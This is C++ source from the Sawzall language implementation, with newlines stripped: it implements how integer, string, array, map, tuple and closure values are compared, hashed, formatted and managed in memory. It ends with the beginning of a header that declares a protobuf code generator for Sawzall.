IntForm::NewValInternal(Proc* proc, szl_int x) { assert(!TaggedInts::fits_smi(x)); IntVal* v = ALLOC_COUNTED(proc, IntVal, sizeof(IntVal)); v->form_ = this; v->ref_ = 1; v->val_ = x; return v; } // ---------------------------------------------------------------------------- // Implementation of UIntForm bool UIntForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_uint()); return v2->is_uint() && v1->as_uint()->val() == v2->as_uint()->val(); } Val* UIntForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_uint()); assert(v2->is_uint()); return cmp(v1->as_uint()->val(), v2->as_uint()->val()); } uint64 UIntForm::basic64(Val* v) const { return v->as_uint()->val(); } Val* UIntForm::NewValBasic64(Proc* proc, Type* type, uint64 bits) { return NewVal(proc, bits); } int UIntForm::Format(Proc* proc, Fmt::State* f, Val* v) const { return F.fmtprint(f, SZL_UINT_FMT, v->as_uint()->val()); } uint32 UIntForm::Hash(Val* v) const { uint64 i = v->as_uint()->val(); return Hash32NumWithSeed(i, Hash32NumWithSeed((i>>32), kHashSeed32)); } Val* UIntForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return v; } szl_fingerprint UIntForm::Fingerprint(Proc* proc, Val* v) const { return ::Fingerprint(v->as_uint()->basic64()); } UIntVal* UIntForm::NewVal(Proc* proc, szl_uint val) { UIntVal* v = ALLOC_COUNTED(proc, UIntVal, sizeof(UIntVal)); v->form_ = this; v->ref_ = 1; v->val_ = val; return v; } // ---------------------------------------------------------------------------- // Implementation of FingerprintForm FingerprintVal* FingerprintForm::NewVal(Proc* proc, szl_fingerprint val) { FingerprintVal* v = ALLOC_COUNTED(proc, FingerprintVal, sizeof(FingerprintVal)); v->form_ = this; v->ref_ = 1; v->val_ = val; return v; } uint64 FingerprintForm::basic64(Val* v) const { return v->as_fingerprint()->val(); } Val* FingerprintForm::NewValBasic64(Proc* proc, Type* type, uint64 bits) { return NewVal(proc, bits); } bool FingerprintForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_fingerprint()); return (v2->is_fingerprint() && v1->as_fingerprint()->val() == v2->as_fingerprint()->val()); } Val* FingerprintForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_fingerprint()); assert(v2->is_fingerprint()); return cmp(v1->as_fingerprint()->val(), v2->as_fingerprint()->val()); } int FingerprintForm::Format(Proc* proc, Fmt::State* f, Val* v) const { return F.fmtprint(f, SZL_FINGERPRINT_FMT, v->as_fingerprint()->val()); } Val* FingerprintForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return v; } uint32 FingerprintForm::Hash(Val* v) const { uint64 i = v->basic64(); return Hash32NumWithSeed(i, Hash32NumWithSeed((i>>32), kHashSeed32)); } szl_fingerprint FingerprintForm::Fingerprint(Proc* proc, Val* v) const { return ::Fingerprint(v->as_fingerprint()->basic64()); } // ---------------------------------------------------------------------------- // Implementation of FloatForm FloatVal* FloatForm::NewVal(Proc* proc, szl_float val) { FloatVal* v = ALLOC_COUNTED(proc, FloatVal, sizeof(FloatVal)); v->form_ = this; v->ref_ = 1; v->val_ = val; return v; } uint64 FloatForm::basic64(Val* v) const { szl_float x = v->as_float()->val(); return *pun_cast<const uint64*>(&x); } Val* FloatForm::NewValBasic64(Proc* proc, Type* type, uint64 bits) { szl_float x = *pun_cast<const szl_float*>(&bits); return NewVal(proc, x); } bool FloatForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_float()); return v2->is_float() && v1->as_float()->val() == v2->as_float()->val(); } Val* FloatForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_float()); assert(v2->is_float()); return cmp(v1->as_float()->val(), v2->as_float()->val()); } int FloatForm::Format(Proc* proc, Fmt::State* f, Val* v) const { char buf[64]; FloatToAscii(buf, v->as_float()->val()); return Fmt::fmtstrcpy(f, buf); } Val* FloatForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return v; } uint32 FloatForm::Hash(Val* v) const { uint64 i = v->as_float()->basic64(); return Hash32NumWithSeed(i, Hash32NumWithSeed((i>>32), kHashSeed32)); } szl_fingerprint FloatForm::Fingerprint(Proc* proc, Val* v) const { return ::Fingerprint(v->as_float()->basic64()); } // ---------------------------------------------------------------------------- // Implementation of TimeForm TimeVal* TimeForm::NewVal(Proc* proc, szl_time val) { TimeVal* v = ALLOC_COUNTED(proc, TimeVal, sizeof(TimeVal)); v->form_ = this; v->ref_ = 1; v->val_ = val; return v; } uint64 TimeForm::basic64(Val* v) const { return v->as_time()->val(); } Val* TimeForm::NewValBasic64(Proc* proc, Type* type, uint64 bits) { return NewVal(proc, bits); } bool TimeForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_time()); return v2->is_time() && v1->as_time()->val() == v2->as_time()->val(); } Val* TimeForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_time()); assert(v2->is_time()); return cmp(v1->as_time()->val(), v2->as_time()->val()); } int TimeForm::Format(Proc* proc, Fmt::State* f, Val* v) const { char buf[kMaxTimeStringLen + 1]; if (f->flags & Fmt::FmtSharp) { // %#V means format is 1234T return F.fmtprint(f, "%lldT", v->as_time()->val()); } else if (SzlTime2Str(v->as_time()->val(), "", &buf)) { // default format "Wed Dec 31 16:16:40 PST 1969" return F.fmtprint(f, "%q", buf); // FIX THIS: should be "T%q" } else { return F.fmtprint(f, kStringForInvalidTime); } } Val* TimeForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return v; } uint32 TimeForm::Hash(Val* v) const { uint64 i = v->basic64(); return Hash32NumWithSeed(i, Hash32NumWithSeed((i>>32), kHashSeed32)); } szl_fingerprint TimeForm::Fingerprint(Proc* proc, Val* v) const { return ::Fingerprint(v->as_time()->basic64()); } // ---------------------------------------------------------------------------- // Implementation of BytesForm bool BytesForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_bytes()); if (!v2->is_bytes()) return false; BytesVal* b1 = v1->as_bytes(); BytesVal* b2 = v2->as_bytes(); return b1->length() == b2->length() && memcmp(b1->base(), b2->base(), b1->length()) == 0; } Val* BytesForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_bytes()); assert(v2->is_bytes()); BytesVal* b1 = v1->as_bytes(); BytesVal* b2 = v2->as_bytes(); int d = memcmp(b1->base(), b2->base(), std::min(b1->length(), b2->length())); if (d != 0) return TaggedInts::MakeVal(d); return cmp(b1->length(), b2->length()); } BytesVal* BytesForm::NewVal(Proc* proc, int length) { BytesVal* v = ALLOC_COUNTED(proc, BytesVal, sizeof(BytesVal) + length); v->form_ = this; v->ref_ = 1; v->SetRange(0, length); v->array_ = v; return v; } BytesVal* BytesForm::NewValInit(Proc* proc, int length, const char* x) { BytesVal* v = NewVal(proc, length); memmove(v->base(), x, length); return v; } // TODO: this is almost identical to the other NewSlices; fold them together BytesVal* BytesForm::NewSlice(Proc* proc, BytesVal* v, int origin, int length) { assert(v->ref() > 0); // If the ref count is one we can just overwrite this BytesVal // (Note that for slices the ref count of the array is not relevant.) if (v->ref() == 1) { v->SetSubrange(origin, length); return v; } BytesVal* n = ALLOC_COUNTED(proc, BytesVal, sizeof(BytesVal)); n->form_ = this; n->ref_ = 1; n->SetRange(v->origin() + origin, length); n->array_ = v->array_; v->array_->inc_ref(); v->dec_ref(); return n; } void BytesForm::Delete(Proc* proc, Val* v) { BytesVal* b = v->as_bytes(); if (b->array_ != v) b->array_->dec_ref_and_check(proc); FREE_COUNTED(proc, b); } void BytesForm::AdjustHeapPtrs(Proc* proc, Val* v) { assert(v->ref() > 0 && !v->is_readonly()); BytesVal* b = v->as_bytes(); b->array_ = proc->heap()->AdjustPtr(b->array_); } void BytesForm::CheckHeapPtrs(Proc* proc, Val* v) { CHECK_GT(v->ref(), 0); BytesVal* b = v->as_bytes(); if (!v->is_readonly()) proc->heap()->CheckPtr(b->array_); } int BytesForm::Format(Proc* proc, Fmt::State* f, Val* v) const { BytesVal* b = v->as_bytes(); bool is_ascii = true; for (int i = 0; i < b->length(); i++) { int c = b->at(i); if (c < ' ' || '~' < c) { is_ascii = false; break; } } if (is_ascii) { F.fmtprint(f, "B%.*q", b->length(), b->base()); } else { F.fmtprint(f, "X\""); for (int i = 0; i < b->length(); i++) { static char kHex[] = "0123456789ABCDEF"; F.fmtprint(f, "%c%c", kHex[(b->at(i) >> 4) & 0xF], kHex[b->at(i) & 0xF]); } F.fmtprint(f, "\""); } return 0; } bool BytesForm::IsUnique(const Val* v) const { return v->as_bytes()->is_unique(); } Val* BytesForm::Uniq(Proc* proc, Val* v) const { BytesVal* b = v->as_bytes(); // take care to check the ref count of the original too if this is a slice if (!b->is_unique()) { // make a copy TRACE_REF("uniquing bytes", b); BytesVal* newb = Factory::NewBytes(proc, b->length()); memmove(newb->base(), b->base(), b->length()); b->dec_ref(); b = newb; } CHECK(b->is_unique()); return b; } uint32 BytesForm::Hash(Val* v) const { BytesVal* b = v->as_bytes(); // It's an array of scalars. They will be densely packed, so // it's safe to fingerprint the contents of the array directly. return Hash32StringWithSeed(b->base(), b->length(), kHashSeed32); } szl_fingerprint BytesForm::Fingerprint(Proc* proc, Val* v) const { BytesVal *b = v->as_bytes(); // Elements are scalar return ::FingerprintString(b->base(), b->length()); } // ---------------------------------------------------------------------------- // Implementation of StringForm bool StringForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_string()); if (!v2->is_string()) return false; StringVal* s1 = v1->as_string(); StringVal* s2 = v2->as_string(); return s1->length() == s2->length() && memcmp(s1->base(), s2->base(), s1->length()) == 0; } // like strncmp, but unsigned and without check for 0 termination. static int mystrcmp(const unsigned char* s1, const unsigned char* s2, int n) { int i = 0; while (i < n && s1[i] == s2[i]) i++; return i < n ? (s1[i] - s2[i]) : 0; } Val* StringForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_string()); assert(v2->is_string()); StringVal* s1 = v1->as_string(); StringVal* s2 = v2->as_string(); const int l = std::min(s1->length(), s2->length()); const int d = mystrcmp(s1->u_base(), s2->u_base(), l); if (d != 0) return TaggedInts::MakeVal(d); return cmp(s1->length(), s2->length()); } // Compute the size required to store a string. The size // a) must be >= sizeof(SliceInfo) // b) should include space wasted by alignment so we can grow in place // c) should include extra slop, even if alignment is perfect // TODO: Should we add even more slop if string is large? static int AmountToAllocate(int length) { // The alignment is the same as used in memory.cc, so we can // always use the alignment space for free. Add one byte to // guarantee that we always have some slop. length = Align(length + 1 + sizeof(int64), sizeof(int64)); if (length < sizeof(SliceInfo)) length = sizeof(SliceInfo); return length; } StringVal* StringForm::NewVal(Proc* proc, int length, int num_runes) { assert(num_runes >= 0); int size = AmountToAllocate(length); StringVal* v = ALLOC_COUNTED(proc, StringVal, sizeof(StringVal) - sizeof(SliceInfo) + size); v->form_ = this; v->ref_ = 1; v->map_ = NULL; v->size_ = size; v->SetRange(proc, 0, length, num_runes); // StringVals that are allocated as part of static initialization or // in 'persistent' memory must have a map if (!proc->is_initialized() || (proc->mode() & Proc::kPersistent) != 0) v->AllocateOffsetMap(proc); return v; } StringVal* StringForm::NewValInitCStr(Proc* proc, szl_string str) { bool input_is_valid; int num_runes; int nbytes = CStrValidUTF8Len(str, &input_is_valid, &num_runes); StringVal* v = NewVal(proc, nbytes, num_runes); if (input_is_valid) memmove(v->base(), str, nbytes); else CStr2ValidUTF8(v->base(), str); return v; } StringVal* StringForm::NewValInit(Proc* proc, int length, const char* str) { bool input_is_valid; int num_runes; int nbytes = StrValidUTF8Len(str, length, &input_is_valid, &num_runes); StringVal* v = NewVal(proc, nbytes, num_runes); if (input_is_valid) memmove(v->base(), str, nbytes); else Str2ValidUTF8(v->base(), str, length); return v; } StringVal* StringForm::NewSlice(Proc* proc, StringVal* v, int origin, int length, int num_runes) { assert(num_runes >= 0); assert(v->ref() > 0); // If already a slice and the ref count is one we can just overwrite this // StringVal. // (Note that for slices the ref count of the array is not relevant.) if (v->is_slice() && v->ref() == 1) { v->SetSubrange(proc, origin, length, num_runes); return v; } StringVal* n = ALLOC_COUNTED(proc, StringVal, sizeof(StringVal)); n->form_ = this; n->ref_ = 1; n->map_ = NULL; n->size_ = -1; // we have a slice n->SetRange(proc, v->origin() + origin, length, num_runes); n->slice_.array = v->array(); // StringVals that are allocated as part of static initialization or // in 'persistent' memory must have a map if (!proc->is_initialized() || (proc->mode() & Proc::kPersistent) != 0) n->AllocateOffsetMap(proc); v->array()->inc_ref(); v->dec_ref(); return n; } void StringForm::Delete(Proc* proc, Val* v) { assert(!v->is_readonly()); StringVal* s = v->as_string(); if (s->array() != v) s->array()->dec_ref_and_check(proc); if (s->map_ != NULL && s->map_ != &StringVal::ASCIIMap) FREE(proc, s->map_); FREE_COUNTED(proc, s); } void StringForm::AdjustHeapPtrs(Proc* proc, Val* v) { assert(v->ref() > 0 || v->is_readonly()); // allow readonly string objects StringVal* s = v->as_string(); if (s->is_slice()) { assert(!v->is_readonly()); s->slice_.array = proc->heap()->AdjustPtr(s->slice_.array); } if (s->map_ != NULL && s->map_ != &StringVal::ASCIIMap) { assert(!v->is_readonly()); s->map_ = proc->heap()->AdjustPtr(s->map_); } } void StringForm::CheckHeapPtrs(Proc* proc, Val* v) { CHECK_GT(v->ref(), 0); StringVal* s = v->as_string(); if (s->is_slice()) { CHECK(!v->is_readonly()); proc->heap()->CheckPtr(s->slice_.array); } if (s->map_ != NULL && s->map_ != &StringVal::ASCIIMap) { CHECK(!v->is_readonly()); proc->heap()->CheckPtr(s->map_); } } int StringForm::Format(Proc* proc, Fmt::State* f, Val* v) const { StringVal* s = v->as_string(); return F.fmtprint(f, "%.*q", s->length(), s->base()); return 0; } bool StringForm::IsUnique(const Val* v) const { return v->as_string()->is_unique(); } Val* StringForm::Uniq(Proc* proc, Val* v) const { StringVal* s = v->as_string(); // take care to check the ref count of the original too if this is a slice if (!s->is_unique()) { // make a copy TRACE_REF("uniquing string", s); StringVal* news = Factory::NewStringBytes(proc, s->length(), s->base()); s->dec_ref(); s = news; } CHECK(s->is_unique()); return s; } uint32 StringForm::Hash(Val* v) const { StringVal* s = v->as_string(); // It's an array of scalars. They will be densely packed, so // it's safe to fingerprint the contents of the array directly. return Hash32StringWithSeed(s->base(), s->length(), kHashSeed32); } szl_fingerprint StringForm::Fingerprint(Proc* proc, Val* v) const { StringVal* s = v->as_string(); // Elements are scalar return ::FingerprintString(s->base(), s->length()); } // ---------------------------------------------------------------------------- // Implementation of ArrayForm bool ArrayForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_array()); if (!v2->is_array()) return false; ArrayVal* a1 = v1->as_array(); ArrayVal* a2 = v2->as_array(); assert(a1->type()->IsEqual(a2->type(), false)); // ignore proto info if (a1->length() != a2->length()) return false; for (int i = a1->length(); i-- > 0; ) if (!a1->at(i)->IsEqual(a2->at(i))) return false; return true; } Val* ArrayForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_array()); if (!v2->is_array()) return false; ArrayVal* a1 = v1->as_array(); ArrayVal* a2 = v2->as_array(); assert(a1->type()->IsEqual(a2->type(), false)); // ignore proto info int l1 = a1->length(); int l2 = a2->length(); for (int i = 0; i < l1 && i < l2; ++i) { Val* d = a1->at(i)->Cmp(a2->at(i)); if (!TaggedInts::is_zero(d)) return d; } return cmp(l1, l2); } ArrayVal* ArrayForm::NewVal(Proc* proc, int length) { ArrayVal* v = ALLOC_COUNTED(proc, ArrayVal, sizeof(ArrayVal) + length * sizeof(Val*)); v->form_ = this; v->ref_ = 1; v->SetRange(0, length); v->array_ = v; return v; } ArrayVal* ArrayForm::NewValInit(Proc* proc, int length, Val* init_val) { ArrayVal* v = NewVal(proc, length); for (int i = length; i-- > 0; ) v->at(i) = init_val; return v; } ArrayVal* ArrayForm::NewSlice(Proc* proc, ArrayVal* v, int origin, int length) { assert(v->ref() > 0); // If the ref count is one we can just overwrite this ArrayVal // (Note that for slices the ref count of the array is not relevant.) if (v->ref() == 1) { v->SetSubrange(origin, length); return v; } ArrayVal* n = ALLOC_COUNTED(proc, ArrayVal, sizeof(ArrayVal)); n->form_ = this; n->ref_ = 1; n->SetRange(v->origin() + origin, length); n->array_ = v->array_; v->array_->inc_ref(); v->dec_ref(); return n; } void ArrayForm::Delete(Proc* proc, Val* v) { ArrayVal* av = v->as_array(); if (av->array_ == v) { for (int i = av->length(); i-- > 0; ) av->at(i)->dec_ref_and_check(proc); } else { av->array_->dec_ref_and_check(proc); } FREE_COUNTED(proc, av); } void ArrayForm::AdjustHeapPtrs(Proc* proc, Val* v) { assert(v->ref() > 0 && !v->is_readonly()); ArrayVal* av = v->as_array(); if (av->array_ == av) { Memory* heap = proc->heap(); for (int i = av->length(); i-- > 0; ) { Val*& v = av->at(i); v = heap->AdjustVal(v); } } av->array_ = proc->heap()->AdjustPtr(av->array_); } void ArrayForm::CheckHeapPtrs(Proc* proc, Val* v) { CHECK_GT(v->ref(), 0); ArrayVal* av = v->as_array(); if (!v->is_readonly()) proc->heap()->CheckPtr(av->array_); if (av->array_ == av) { Memory* heap = proc->heap(); for (int i = av->length(); i-- > 0; ) { Val* v = av->at(i); heap->CheckVal(v); } } } int ArrayForm::Format(Proc* proc, Fmt::State* f, Val* v) const { ArrayVal* a = v->as_array(); const int n = a->length(); int e = Fmt::fmtstrcpy(f, "{ "); for (int i = 0; i < n; i++) { if (i > 0) e += Fmt::fmtstrcpy(f, ", "); e += a->at(i)->Format(proc, f); } e += Fmt::fmtstrcpy(f, " }"); return e; } bool ArrayForm::IsUnique(const Val* v) const { return v->as_array()->is_unique(); } Val* ArrayForm::Uniq(Proc* proc, Val* v) const { ArrayVal* a = v->as_array(); // take care to check the ref count of the original too if this is a slice if (!a->is_unique()) { // make a copy TRACE_REF("uniquing array", a); ArrayVal* newa = a->type()->as_array()->form()->NewVal(proc, a->length()); for (int i = 0; i < a->length(); i++) { Val* e = a->at(i); newa->at(i) = e; e->inc_ref(); } a->dec_ref(); a = newa; } CHECK(a->is_unique()); return a; } uint32 ArrayForm::Hash(Val* v) const { ArrayVal* a = v->as_array(); // Note that all zero-length arrays will have same // fingerprint, though, regardless of type. This is not an // issue since a map has a fixed type. uint32 hash = kHashSeed32; if (a->length() == 0) return hash; // The elements must be pointer types; bytes and string are // handled separately. for (int i = 0; i < a->length(); i++) { Val* elem = a->at(i); hash = MapHashCat(hash, elem->form()->Hash(elem)); } return hash; } szl_fingerprint ArrayForm::Fingerprint(Proc* proc, Val* v) const { // Prime the pump so an empty array has a fingerprint != 0. // Note that all zero-length arrays will have same // fingerprint, though, regardless of type. This is not an // issue since an array has a fixed type. szl_fingerprint print = kFingerSeed(); ArrayVal* a = v->as_array(); for (int i = 0; i < a->length(); i++) print = FingerprintCat(print, a->at(i)->Fingerprint(proc)); return print; } // ---------------------------------------------------------------------------- // Implementation of MapForm bool MapForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_map()); return v2->is_map() && v1->as_map()->map()->EqualMap(v2->as_map()->map()); } Val* MapForm::Cmp(Val* v1, Val* v2) const { return NULL; } MapVal* MapForm::NewVal(Proc* proc) { MapVal* v = ALLOC_COUNTED(proc, MapVal, sizeof(MapVal)); v->form_ = this; v->ref_ = 1; return v; } MapVal* MapForm::NewValInit(Proc* proc, int occupancy, bool exact) { MapVal* v = NewVal(proc); v->InitMap(proc, occupancy, exact); return v; } void MapForm::Delete(Proc* proc, Val* v) { MapVal* mv = v->as_map(); mv->map_->Delete(); FREE_COUNTED(proc, mv); } void MapForm::AdjustHeapPtrs(Proc* proc, Val* v) { assert(v->ref() > 0 && !v->is_readonly()); MapVal* mv = v->as_map(); // Since the Map object is not a Val its internal pointers will not be // adjusted during compaction, so we have to do it now. // Note that this means that each Map must be referenced by only one MapVal. // TODO: consider merging the contents of Map into MapVal. mv->map_->AdjustHeapPtrs(); mv->map_ = proc->heap()->AdjustPtr(mv->map_); } void MapForm::CheckHeapPtrs(Proc* proc, Val* v) { CHECK_GT(v->ref(), 0); MapVal* mv = v->as_map(); if (!v->is_readonly()) proc->heap()->CheckPtr(mv->map_); mv->map_->CheckHeapPtrs(); } int MapForm::Format(Proc* proc, Fmt::State* f, Val* v) const { return v->as_map()->map()->FmtMap(f); } Val* MapForm::Uniq(Proc* proc, Val* v) const { MapVal* m = v->as_map(); if (!m->is_unique()) { // make a copy TRACE_REF("uniquing map", m); MapVal* newval = m->type()->as_map()->form()->NewVal(proc); newval->set_map(m->map()->Clone()); // the implementation is in map.cc m->dec_ref(); m = newval; } CHECK(m->is_unique()); return m; } uint32 MapForm::Hash(Val* v) const { uint64 i = v->as_map()->map()->Fingerprint(); return Hash32NumWithSeed(i, Hash32NumWithSeed((i>>32), kHashSeed32)); } szl_fingerprint MapForm::Fingerprint(Proc* proc, Val* v) const { return v->as_map()->map()->Fingerprint(); } // ---------------------------------------------------------------------------- // Implementation of TupleForm bool TupleForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_tuple()); if (!v2->is_tuple()) return false; TupleVal* t1 = v1->as_tuple(); TupleVal* t2 = v2->as_tuple(); assert(t1->type()->IsEqual(t2->type(), false)); // ignore proto info // TODO: consider using assert instead of CHECK for the AllFieldsRead() checks CHECK(t1->type()->as_tuple()->AllFieldsRead()); for (int i = t1->type()->as_tuple()->nslots(); i-- > 0; ) if (!t1->slot_at(i)->IsEqual(t2->slot_at(i))) return false; return true; } Val* TupleForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_tuple()); if (!v2->is_tuple()) return false; TupleVal* t1 = v1->as_tuple(); TupleVal* t2 = v2->as_tuple(); assert(t1->type()->IsEqual(t2->type(), false)); // ignore proto info CHECK(t1->type()->as_tuple()->AllFieldsRead()); CHECK(t2->type()->as_tuple()->AllFieldsRead()); int l1 = t1->type()->as_tuple()->nslots(); int l2 = t2->type()->as_tuple()->nslots(); for (int i = 0; i < l1 && i < l2; ++i) { Val* d = t1->slot_at(i)->Cmp(t2->slot_at(i)); if (!TaggedInts::is_zero(d)) return d; } return cmp(l1, l2); } TupleVal* TupleForm::NewVal(Proc* proc, InitMode mode) { TupleType* tt = type()->as_tuple(); const int n = tt->nslots(); const int t = tt->ntotal(); TupleVal* v = ALLOC_COUNTED(proc, TupleVal, sizeof(TupleVal) + t * sizeof(Val*)); switch (mode) { case ignore_inproto: // nothing to do break; case clear_inproto: memset(v->base() + n, 0, (t - n) * sizeof(Val*)); break; case set_inproto: memset(v->base() + n, -1, (t - n) * sizeof(Val*)); break; } v->form_ = this; v->ref_ = 1; return v; } void TupleForm::Delete(Proc* proc, Val* v) { TupleVal* t = v->as_tuple(); Val** slots = t->base(); int nslots = t->type()->as_tuple()->nslots(); for (int i = 0; i < nslots; i++) slots[i]->dec_ref_and_check(proc); FREE_COUNTED(proc, t); } void TupleForm::AdjustHeapPtrs(Proc* proc, Val* v) { assert(v->ref() > 0 || v->is_readonly()); // allow readonly tuple objects TupleVal* t = v->as_tuple(); Memory* heap = proc->heap(); Val** slots = t->base(); int nslots = t->type()->as_tuple()->nslots(); for (int i = 0; i < nslots; i++) { Val*& v = slots[i]; v = heap->AdjustVal(v); } } void TupleForm::CheckHeapPtrs(Proc* proc, Val* v) { CHECK_GT(v->ref(), 0); TupleVal* t = v->as_tuple(); Memory* heap = proc->heap(); Val** slots = t->base(); int nslots = t->type()->as_tuple()->nslots(); for (int i = 0; i < nslots; i++) { Val*& v = slots[i]; heap->CheckVal(v); } } int TupleForm::Format(Proc* proc, Fmt::State* f, Val* v) const { TupleVal* t = v->as_tuple(); // Emit all fields, even if unreferenced. // If we are doing a conversion, all fields should be marked referenced. // Otherwise we are generating debug output (e.g. stack trace) and omitting // an unreferenced field would be misleading. List<Field*>* fields = t->type()->as_tuple()->fields(); const int n = fields->length(); int e = Fmt::fmtstrcpy(f, "{ "); for (int i = 0; i < n; i++) { if (i > 0) e += Fmt::fmtstrcpy(f, ", "); Field* field = fields->at(i); if (field->read()) e += t->field_at(field)->Format(proc, f); else e += Fmt::fmtstrcpy(f, "<unused>"); } e += Fmt::fmtstrcpy(f, " }"); return e; } Val* TupleForm::Uniq(Proc* proc, Val* v) const { TupleVal* t = v->as_tuple(); if (!t->is_unique()) { // make a copy TRACE_REF("uniquing tuple", t); TupleVal* newt = t->type()->as_tuple()->form()->NewVal(proc, ignore_inproto); const int n = t->type()->as_tuple()->nslots(); const int m = t->type()->as_tuple()->ntotal(); // copy slots int i = 0; while (i < n) { Val* e = t->slot_at(i); newt->slot_at(i) = e; e->inc_ref(); i++; } // copy inproto bits while (i < m) { newt->base()[i] = t->base()[i]; // use base() to avoid index range check i++; } // done t->dec_ref(); t = newt; } CHECK(t->is_unique()); return t; } uint32 TupleForm::Hash(Val* v) const { TupleVal* t = v->as_tuple(); // Note that all zero-length tuples will have same // fingerprint, though, regardless of type. This is not an // issue since a map has a fixed type. uint32 hash = kHashSeed32; TupleType* ttype = t->type()->as_tuple(); CHECK(ttype->AllFieldsRead()); for (int i = 0; i < ttype->nslots(); i++) { Val* elem = t->slot_at(i); hash = MapHashCat(hash, elem->form()->Hash(elem)); } return hash; } szl_fingerprint TupleForm::Fingerprint(Proc* proc, Val* v) const { // Prime the pump so an empty tuple has a fingerprint != 0. szl_fingerprint print = kFingerSeed(); TupleVal* t = v->as_tuple(); for (int i = 0; i < t->type()->as_tuple()->nslots(); i++) print = FingerprintCat(print, t->slot_at(i)->Fingerprint(proc)); return print; } // ---------------------------------------------------------------------------- // Implementation of ClosureForm ClosureVal* ClosureForm::NewVal(Proc* proc, Instr* entry, Frame* context) { ClosureVal* c = ALLOC_COUNTED(proc, ClosureVal, sizeof(ClosureVal)); c->form_ = this; c->ref_ = 1; c->entry_ = entry; c->context_ = context; return c; } bool ClosureForm::IsEqual(Val* v1, Val* v2) const { assert(v1->is_closure()); if (!v2->is_closure()) return false; ClosureVal* cv1 = v1->as_closure(); ClosureVal* cv2 = v2->as_closure(); return cv1->entry() == cv2->entry() && cv1->context() == cv2->context(); return false; } Val* ClosureForm::Cmp(Val* v1, Val* v2) const { assert(v1->is_closure()); assert(v2->is_closure()); ClosureVal* cv1 = v1->as_closure(); ClosureVal* cv2 = v2->as_closure(); if (cv1->entry() != cv2->entry()) return cmp(cv1->entry(), cv2->entry()); else return cmp(cv1->context(), cv2->context()); } int ClosureForm::Format(Proc* proc, Fmt::State* f, Val* v) const { ClosureVal* c = v->as_closure(); if (proc != NULL) { Code* code = proc->code(); Instr* pc = c->entry(); Function* fun = code->FunctionForInstr(pc); assert(fun != NULL); if (fun->name() != NULL) return F.fmtprint(f, "%s", fun->name()); else return F.fmtprint(f, "%N", fun); } else { // When printing using %V the caller must be careful to pass a non-NULL // value for proc if the value could be a ClosureVal. Since most of the // xxxForm::Format() methods ignore proc, many uses of %V supply NULL for // proc and Val::ValFmt() passes it along without checking. But if the // value is a ClosureVal, a non-null proc is required when we get here. ShouldNotReachHere(); return 0; } } Val* ClosureForm::Uniq(Proc* proc, Val* v) const { ShouldNotReachHere(); return NULL; } uint32 ClosureForm::Hash(Val* v) const { // For the fingerprint we use the code offset and the dynamic level // because they are the same in different shards and even across different // runs. But for the hash we only need a consistent value in this execution, // so we can use the actual code and context pointers. ClosureVal* cv = v->as_closure(); uint32 fct_hash = Hash32PointerWithSeed(cv->entry(), kHashSeed32); uint32 context_hash = Hash32PointerWithSeed(cv->context(), kHashSeed32); return MapHashCat(fct_hash, context_hash); } szl_fingerprint ClosureForm::Fingerprint(Proc* proc, Val* v) const { // Use a combination of the code index and the dynamic level. // This should be sufficient to be unique within this program yet give // identical results across multiple shards. // Note that the fingerprint is only useful as long as the closure is valid, // since exiting the closure's context and entering it again on another // call chain with the same dynamic level will give the same fingerprint. ClosureVal* cv = v->as_closure(); Code* code = proc->code(); Instr* pc = cv->entry(); // TODO: this does a linear search over the code segments. We could fix // this by storing a pointer to the Function right before the code for that // function. int index = code->DescForInstr(pc)->index(); return FingerprintCat(::Fingerprint(index), cv->dynamic_level(proc)); } } // namespace sawzall <file_sep>// Copyright 2010 Google Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ------------------------------------------------------------------------ #ifndef _GENERATOR_H_ #define _GENERATOR_H_ #include <map> #include <set> #include <string> #include "google/protobuf/compiler/code_generator.h" namespace google { namespace protobuf { class Descriptor; class EnumDescriptor; class EnumValueDescriptor; class FieldDescriptor; class ServiceDescriptor; namespace io { class Printer; } namespace compiler { namespace szl { // Set of enums for which the type name was renamed by appending an // underscore because it matched a field or enum value name. typedef set<const EnumDescriptor*> RenamedEnums; // CodeGenerator implementation for generated Sawzall protocol buffer classes. // If you create your own protocol compiler binary and you want it to support // Sawzall output, you can do so by registering an instance of this // CodeGenerator with the CommandLineInterface in your main() function. class SzlGenerator : public compiler::CodeGenerator { public: SzlGenerator(); virtual ~SzlGenerator(); // CodeGenerator methods. virtual bool Generate(const FileDescriptor* file, const string& parameter, compiler::OutputDirectory* output_directory, string* error) const; // Whether to show the warning. void SuppressWarning(bool suppress) { sawzall_suppress_warnings_ = suppress; } private: void PrintHeader(const string& filename) const; void PrintImports() const; void PrintTopLevelExtensions() const; void PrintTopLevelEnums() const; void PrintEnums( const Descriptor& enum_descriptor, RenamedEnums* renamed_enums) const; void PrintEnum( const EnumDescriptor& enum_descriptor, const set<string> nontype_names, RenamedEnums* renamed_enums) const; void PrintEnumValueMap( const EnumDescriptor& enum_descriptor, const string& map_name) const; void CollectLocalNames( const Descriptor& descriptor, set<string>* nontype_names) const; void PrintMessages() const; void PrintMessage(const Descriptor& message_descriptor, int depth) const; void PrintNestedMessages( const Descriptor& containing_descriptor, 